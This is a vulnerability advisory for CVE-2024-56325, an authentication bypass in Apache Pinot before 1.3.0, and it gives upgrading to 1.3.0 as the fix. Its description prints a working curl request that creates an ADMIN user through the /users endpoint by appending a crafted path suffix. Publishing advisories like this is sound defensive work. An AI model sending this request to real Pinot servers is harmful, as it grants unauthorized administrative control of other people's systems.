CVE-2024-56325: Apache Pinot: Authentication bypass issue. If the path does not contain / and contain . authentication is not required

Severity: critical (CVSS 9.8 v3.1)
Exploited in the wild: not listed in CISA KEV
EPSS: 80.2% probability of exploitation in the next 30 days
Public exploit or detection template: yes
Published: 2025-04-01 · updated 2026-06-17
Weakness: CWE-288

Description

Authentication Bypass Issue If the path does not contain / and contain., authentication is not required. Expected Normal Request and Response Example curl -X POST -H "Content-Type: application/json" -d {\"username\":\"hack2\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"} http://{server_ip}:9000/users Return: {"code":401,"error":"HTTP 401 Unauthorized"} Malicious Request and Response Example curl -X POST -H "Content-Type: application/json" -d '{\"username\":\"hack\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"}' http://{serverip}:9000/users; http://{serverip}:9000/users; . Return: {"users":{}} A new user gets added bypassing authentication, enabling the user to control Pinot.

Affected products

Apache Software Foundation Apache Pinot: before 1.3.0 — fixed in 1.3.0

How to fix

Upgrade to a fixed version: Apache Software Foundation Apache Pinot 1.3.0. Check the vendor advisory for mitigations.

References

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